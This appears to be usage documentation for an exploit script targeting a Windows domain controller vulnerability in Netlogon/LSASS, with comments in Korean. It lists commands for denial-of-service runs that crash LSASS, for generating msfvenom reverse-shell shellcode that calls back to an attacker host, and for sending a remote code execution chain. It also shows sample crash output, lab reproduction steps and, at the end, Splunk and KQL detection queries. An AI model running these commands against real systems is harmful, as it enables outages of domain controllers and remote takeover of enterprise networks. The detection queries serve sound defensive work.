# 기본 사용법 — 3개의 패킷 전송
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos

# 단일 패킷 빠른 공격
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1

# 공격적 모드 — 5개의 패킷 동시 전송
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1

# 셸코드 생성
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
         -f raw -o shellcode.bin

# RCE 체인 전송
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
    --shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444

# 대상 DC 지문 식별
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan

NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)

NtVer=0x00000002 → TIMEOUT (5001 ms)    ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)

# Windows Server(패치되지 않음)에서 긴 도메인 이름의 DC 생성:
# 1. 도메인 컨트롤러로 승격 (DNS 도메인 이름이 긴 도메인, 예: "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. 2026년 5월 이전 패치가 설치되어 있는지 확인
# 3. 공격자 시스템에서 실행:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. DC 충돌 및 재부팅 관찰

Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)

index=wineventlog source="WinEventLog:Application" EventID=1000
  Process_Name="lsass.exe" Exception_Code="0xc0000409"

Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"